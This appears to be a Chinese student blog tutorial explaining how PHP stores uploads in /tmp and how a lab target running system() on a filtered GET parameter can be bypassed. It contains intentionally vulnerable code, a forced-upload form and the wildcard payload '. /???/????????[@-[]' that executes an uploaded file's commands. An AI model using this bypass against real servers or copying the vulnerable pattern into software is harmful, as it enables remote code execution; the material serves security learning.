Bootstrap

php文件上传机制

🎼个人主页:金灰

😎作者简介:一名简单的大一学生;易编橙·终身成长社群的嘉宾.✨

专注网络空间安全服务,期待与您的交流分享~

感谢您的点赞、关注、评论、收藏、是对我最大的认可和支持!❤️

🍊易编橙·终身成长社群🍊 : http://t.csdnimg.cn/iSLaP 期待您的加入~

免责声明:本文仅做技术交流与学习...

目录

php的文件上传机制:

超全局变量

演示:

index.php

upload.html

1.txt

小皮的临时目录:


php的文件上传机制:


php会把所有的上传文件先放到tmp目录下,(怕你会动态调用等等),在代码执行结束后,再将文件删除.
利用:
强制文件上传,
在它代码还没有走到那一步的时候进行远程RCE的调用等等.


# 文件上传时,都会先经过此目录,做个临时存放,
/tmp/phpxxxxxx
tmp目录/php
/???/?????????
/???/????????[@-[]		#文件路径	@-[ 为大写字母(ASCII)
. /???/????????[@-[]	# .执行里面的内容



. /???/????????[@-[]
(大小写 数字)三种一.

/tmp/phpxxxxxx
/tmp/phpxxxxxx
/tmp/phpxxxxxx

 


超全局变量

# 超全局变量
$_GET
$_POST
$_SERVER
$_COOKIE
$_SESSION
$_FILES

--所有文件的上传都会先放到$_FILES里面临时接收,接收


演示:

index.php

靶场环境

<?php
error_reporting(0);
highlight_file(__FILE__);

$cmd=$_GET['cmd'];

if(!preg_match("/[a-x]|[0-9]/i",$cmd)){
    system($cmd);
}

upload.html

构造强制文件上传

<form action="http://靶场地址:4444/" enctype="multipart/form-data" method="post">
    <input name="file" type="file"/>
    <input type="submit" value="upload"/>
</form>

<!--
php 强制文件上传, 文件会储存在临时目录里面, 等脚本执行完毕后 会自动删除,
在脚本没有执行完毕之前抓包

抓包后,get请求参数,这是一个有概率的匹配
. /???/????????[@-[]
(大小写+数字)三种一.

1.txt

构造上传文件里面的命令

whoami

在强制文件上传时,进行抓包

修改命令等等


小皮的临时目录:

--强制上传过来,只要还没删除,就可以利用.


;